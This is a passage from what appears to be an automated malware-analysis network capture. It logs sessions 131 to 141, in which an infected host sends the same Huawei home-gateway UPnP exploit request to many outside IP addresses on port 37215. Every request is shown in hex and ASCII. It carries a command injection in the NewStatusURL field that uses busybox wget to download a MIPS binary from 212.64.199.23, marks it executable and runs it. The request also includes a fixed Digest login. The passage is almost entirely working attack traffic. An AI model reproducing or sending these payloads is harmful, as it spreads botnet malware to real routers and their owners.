2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.23	58840	156.220.200.72	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762567997 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.23	59072	41.55.12.237	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762782097 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.23	46584	41.89.156.65	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762804031 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.23	53966	156.59.232.142	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762837887 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.23	35278	156.120.135.152	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762860060 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.23	55022	197.99.158.208	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762886047 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.23	38820	41.20.148.99	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762907982 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.23	36064	197.230.5.219	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762928009 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.23	37422	197.80.97.125	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762950897 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.23	45220	156.51.89.194	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:18:03.762973070 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.23	43698	156.228.200.144	37215

Timestamp	Bytes transferred	Direction	Data
